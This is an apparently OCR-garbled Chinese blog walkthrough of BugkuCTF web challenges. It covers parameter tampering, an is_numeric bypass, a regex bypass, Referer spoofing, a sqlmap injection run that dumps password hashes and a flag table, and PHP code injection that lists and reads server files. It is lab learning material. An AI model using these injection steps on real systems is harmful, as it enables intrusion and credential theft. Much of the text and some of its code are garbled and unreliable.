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XERRZ: ndex.phpf S % i%bugku

BhAE—TERNEATE, Fwindows T, FTERAIXL, HIHMEEN T ESEBEY,
0. ¥%a%: KIN, B&Maxhackbaridifh (XA % 5% 1))

RETAEMANRIERAI T, TEEI 8.

1.web2: X B EFIRAAIEN AT, FEurlfiin L view-source: . B #F12#47.
view-source:http://123.206.87.240:8002/web2/

2.5

RAAAE R e — 80y, WEBORRITT . AR i A i BR A=A 22
%F12, R X EEBOCAKE, EmaxengthIEMEIKOR, REMEBEEERAT .

C @ ( 123.206.87.240:8002/yanz B e oy Qo= v
G Google @ BE %BugkuCTF—%ﬂEFf:‘u 9)
= I-—@i ———————— [ ¥ |[OD === Dasa N mE @ Hackbar D @

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN"
transitional.dtd™>

<html xmlns="http://www.w3.crg/1999/ xhtml™>

¥ <head» (=] ¢ /head>

w <body>
<span id="cede" class="code" style="background: rgb(191, 29,
79, 171);"»2+36=2</span: |event @)

<input class="input" type="text" maxlength="1"»

cbutton id="check"»3iF</button:> [event
b <div style="text-alipn:center;™s =l </div>

ot sre="is/iquery-1.12.3.min. js"></script>
cscript type="text/javascript® src="js/code.js™</script>
</ body»
kb <div id="translate-button® style="display: none;™x[=-]¢/div>
</html>

3. webXAt$ GET
XL RAFEAR, 7EgetiBRE, ASHEERNLEEUFEN 228 =H. 2/ZHH 28 1=H1&S%2=E

AR X
$what=$_GET[what';//i5tEl S #what, EEFFFZ EwhatE
echo $what; /%

if(Swhat=="flag')// 4 1 & flag


https://blog.csdn.net/weixin_28895791
https://so.csdn.net/so/search/s.do?q=index.php%25E7%2594%25A8%25E6%2588%25B7%25E5%25AF%2586%25E7%25A0%2581bugku&t=blog&o=vip&s=&l=&f=&viparticle=
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=weixin_28895791&utm_content=115990951

echo 'flag{****};//#T Eiflag

payload:
http://123.206.87.240:8002/get/?what=flag
4. webZAi$_POST

POST#REIMEEEIR, Ehackbarsi#burpBe, #RitR7ER T EContent S5 S¥1={H&SH2=
|

2R Fhackbargi i iX A BRIBLT , ELIERFEHE BLIERAT .

PR

$what=$_POST['what"; /¥ postid k1S Hwhat, FFlwhatE
echo $what; //#TEp

if(Swhat=="flag') /40 & £flag

echo 'flag{****};// T Elflag

payload:
$what=$_POST['what']; e O === gla N WE f Hackbar O EEE (Y emmss Owe » 0]
echo $what;
if(Swhat=="flag’) @ Load URL /@) hitp://123.206.87.240:8002/posl/
echo ‘flag{****};
flagflag{bugku_get_ssseint67se} 4 Spit URL

|Q) +) Execution

@) Post Data[] Referrer Moded By Mr.silent coder
Post data ' What=fiag| ©

5.F &

$num=$_GET[num’; //ZREXZ%num

if(lis_numeric($num))// R numA 2+

{

echo $num;

if(Snum==1) /10 R num#2 71
echo 'flag{**********}'; //#T EPflag

}

BRABERARHTAN, ARFERARL? HEFRININE, FTHRnum==1{AERHNES, XRFH R

P, WRESWILREAF, SFEHRARHEFRREELR. SZ0MEPRERRMLE, ANR=A%ES=== W
RRBAFMEENIMET . EIRBLERT, I—NFRHEEHFHEN, 2EFRFEEREET, Bkl

RE FRERT BT . Bln123ab7c #5123, ab7cx ¥ a0.(F BRI B E F R Z20)

Fr LApayload:



http://123.206.87.240:8002/get/index1.php?num=1a
6.web3
Fburpd&, 7TLAEB|mR AR, BEEAXA—BFA

alert{'flag00000000 '),

alert|' 0000000 '),

<l--@HT 5 #60; R #B0: & #1 23 A H#TAAHS0RH115: %0 T- & #5 2 #50 R0 T:A#104 & #T4 R H#T 5 Q%458 #] 2 R #BF A #49:8#49
RFTRRFTZARTRAF25]) - >

</script=

=/head=

PR

5 il KRR 2 B 5 I decoder B, #Edecode as #EHTML, #tREfEAS Hiflag

975409 405 5912555748550 895 4T S452 SRSB4 54108574 815 945 ST RS 544 54983 473 587350125 @ Tex © tix (2]
Decode as

KEY{J2sa42ah]K-H511 IIV}‘

7 B4 fE T

A AT R AR — AR —Nip, GOENRICT AR — A EiE—R, T R KRBT KR
HOX B PR i

~-1)s HiptiE, IR, fBhosty B EHEBAIEA

Request Response

J Raw T Headers T Hex ] Raw | Header

GET S HTTP/1.1 & HTTP/1.1 200 QK
Host: flag.baidu.com - Server: nains
User-Agent: Mozilla/5.0 (WNindows MT 10.0; Wingd; x64; rv:67.0) Gecko/20100101 Firefowx/67.0 Date: Fri, 21 Jun &
Accept: text/html, application/htrml +xml applicationfml;q=0.9*/*:q0=0.8 Content-Type: te
Accept-Language: zh-CM,zh;g=0.8,zh-TW;q=0.7,zh-HI;g=0.5,en-U%q=0.3,en;q=0.2 Content-Length:
Accept-Encoding: azip, deflate Last-Modified: M
Connection: close Connection: clos
Upgrade-Insecure-Requests: 1 ETag: "S&fddeR3-
Cache-Control: max-age=0 Accept-Ranges: |
KEY{DSAHDSJIB.

-+2)\ FEAHLhost3C A B N AZ AT L

Windows £ 21 C:\Windows\System32\drivers\etc & f{lhost, s AL«

m [ LN B, ) = HTL W T L

T # 38.25.63.10 ¥ .acme.com
# % client host

oo

# localhost name resolution is handled within
DNS itself.

# 127.0.0.1 localhost
# il localhost
127.0.0.1 www . S C om

oy o L D = O

127.0.0.1 license. com
[123.206.8?.240 flag.baidu.com



8 AR LALLM AZ T
IEF N A8 B R INEER), ER T LAZEburp Bk B BB AT K BUR
I J5 K& Elrepeater, & —XRGost<kl#, 5 3HLAHMN
9.
(T4 J5 FAb)
FRF? IEM?
TRARHS B oG HR R IX )
$IM= preg_match("/key.*key.{4,7}key:V.V/(.*key)[a-Z][[:punct:]]/i", trim($_GET["id"]), $match);
tim() R e HE RS HIdERE BN TR, i 6 R R X

G T EW R ENRER. ENREXRMNEEATS T, BRNFIARE, FEARphpHEZEMN
o BJEHIRRAX KNG,

HRN 2 -

key+(fE& 7B X nik)+key+({E B F & H 4 ~TIR)+key:/[+HE B FR+/+EE F X nik+(key+a~z— A F
B+ — AN S

HARKMNR W ZE 3, FAERAMERERRT T, XRMEAITHIEE.
T & i&payload:
http://123.206.87.240:8002/web10/?id=keymkeymmmmkey:/n/keym.

R AR L3R

A% T headerffireferers B, refereri ik 55288 RE AL, LM RBBIRWIM G, REEBaKE
Referer: https://www.google.com

Fit LAY 58 . fEheaderin b 3% &) 34T

KR AN ) & AR

XBHSEAH B AMag.

B

HEZFsqimap R, KIH P BLAEFTLIEN. 4

py -2 sqlmap.py -u "http://123.206.87.240:9001/sql/" --
data="admin_name=1"&admin_passwd=23333"&submit=GO+GO+GO"

RIGEERIEER TR, 4= LK & mEmnE
--dump

FAZ IR —Bthash, sqmap& HREANERE, BEANEBRBE. HENIT, FAXNRERENLT . kL2
whoamiz, F£flagl13:

[00:29:03] [INFO] resumed: "1","AdMINhEhE","9db3bae8316e95698ed679aa109¢c1925"

[00:29:03] [INFO] resumed: "2","BICkJaCk","5SFF69C838EDD75995197C516C677A416"



[00:29:03] [INFO] recognized possible password hashes in column 'w_passwd'

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N

Database: bugkusql1

Table: whoami

[2 entries]

+ + + +

| w_id | w_name | w_passwd |

+ + + +

| 1| AAMINhEhE | 9db3bae8316e95698ed679aa109¢1925 |

| 2 | BICkJaCk | 5SFF69C838EDD75995197C516C677A416 |

+ + + +

[00:30:06] [INFQ] table 'bugkusgl1.whoami' dumped to CSV file
'C:\Users\omegal\.sglmap\output\123.206.87.240\dump\bugkusql1\whoami.csV'

[00:30:06] [INFO] fetching columns for table 'flag1' in database 'bugkusql1'
[00:30:06] [INFO] used SQL query returns 1 entries

[00:30:07] [INFQ] fetching entries for table 'flag1' in database 'bugkusql1'
[00:30:07] [INFO] used SQL query returns 1 entries

[00:30:07] [INFO] used SQL query returns 1 entries

[00:30:07] [INFO] resumed: ed6b28e684817d9efcaf802979e57aea
[00:30:07] [INFO] recognized possible password hashes in column 'flag1’
do you want to crack them via a dictionary-based attack? [Y/n/q] N

Database: bugkusql1

Table: flag1

[1 entry]

+ +
| flag1 |

+ +

| ed6b28e684817d9efcaf802979e57aea |

+ +

[00:32:19] [INFO] table 'bugkusql1.flag1’ dumped to CSV file 'C:\



X AMflaghn bflag{}mt ged@iL T .
% —/Mlag:
A EEK AP 2 ERER, WA~ AT R

I | @ 123.206.87.240:9001/sql/do_Everythin.php#

Google #: BE ' BugkuCTF - H3F&

X — N A EIRNIE

DO DO DO

fEMagictE 2T A a4, (HETin A fovrgiE, BHEREHIXE. S8BT UINE, EburpEHA.

TE

+

<IDOCTYPE himl:

b <cheads (= < head>
w <body> |event
w <div class="warpper"»

w cdiv class=""»

e idiv

HE BT B

Code=print_r(scandir('./"));

<html style="--rx:@; --ry:8; --ty:8;"> event

<spamiEE— MR EEFHMAEAE S span>

w <form action="" name="forml" method="post"»

y "Magic" name="Code" value="" maxlength="18"
" disabled=""»

Ly U === ) Esie Ty Mm@ HackBar LD s » 0.

O, $83 HTML

POST fsqlfdo_Everythin.php HTTR/1.1

Host: 123.206.87.240:9001

User-Agent: Mozilla/5.0 (Windows MT 10.0; Wing4d; «64; nv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html, applicationschtml +xml, application/somlq=0.9,/*:q=0.8
Accept-Language: zh-CM,zh;q=0.8zh-TW;q=0.7,zh-HI{;q=0.5,en-U%5;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://123.206.87.240:9001/sql/do_Everythin.php

Content-Type: application/s-www-form-urlencoded

Content-Length: 44

Connection: close

Cookie: PHPSESSID=5985t4k]jgubrob5d 29rtadtivgljog

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Contral: no-cache

Code=print_r(scandir("./7);&submit=00 +DO +D[J|

Code=show_source("FI@g3.php");&submit=DO+DO+DO

Magic :
<input class="op" type="Ma
placeholder="23333333" disabled/=

=/div=

<hr=

=div =
<label for="button"= <a data
<input type="submit" id="ht

< div=
</fdiv>
</forms=
<fbody=
< html=

Welcome :AdMIiNhEhE<br /= Array
(

[0]=>.

[1]==>..

[2] == Fi@g3.php

[3] == do_Everythin.php

[4] == index.php

[5] == newfiletxt

[6] == sql-config

[7] => testfile.txt



Raw | Params | Headers | Hex

Raw ( Headers | Hex | HTML | Render

POST /sql/do_Everythin.php HTTP/1.1

Host: 123.206.87.240:9001

User-Agent: Maczilla/5.0 (WVindows MT 10.0; Winéd; x64; n.67.0) Gecko 20100107 Firefox/67.0
Accept: test/html application/«html +xml, application/emlq=0.9,*/*,q=0.8
Accept-Language: zh-CM zh;q=0.8,zh-TW;q=0.7,zh-HI;q=0.5,en-U5q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: hitp://123.206.87.240:9001/sql/do_Everythin.php

Content-Type: application-www-form-urlencoded

Content-Length: 45

Connection: close

Cookie: PHPSESSID =5285t4kjjgubrob5daarstadtivgliog

Upagrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

Code=show_source("Fl@g3.php");&submit=00 +D0 +D0O|

=fscript=
<hody=
=div class="warpper"=
=span>ER—MEEEHERE N E </span>
=form action="#" name="form1" method="post" =
<div class="" =
Magic :
zinput class="op" type="Magic" name="Code" value="" maxlength="10
placeholder="23333333" disabled/=

<fdiv=
<hrs
<div =
<label for="button"= <a data-title="D0 DO DO"> </a> </label>
<input type="submit" id="button" name="submit" value="D0 DO DC" h

</divs
<fdiv=
=/form=
</body=
</html=

Welcome :AdMINhERE<br /> <code= <span style="color: #000000"=

<span style="color. #0000BE"=>& [t;?php<br /> §F14g3</span= <span style="colon
#007700"===</span=<span style="color #DD0000"# ' Sc58eccacdb6d 7ceOd 7ab0f4694622¢57 ' </
style="color: #007700"=; <br /> </span= <span style="color: #0000BB">2&gt; <br /= </span=
<fspan=

FI#E, BRXAMflagiinflag(il e tAEIREE, Xflaghl Z BIARANA—HE, FrllimiA4R4T. RAEbugkuR k32

_/I\o
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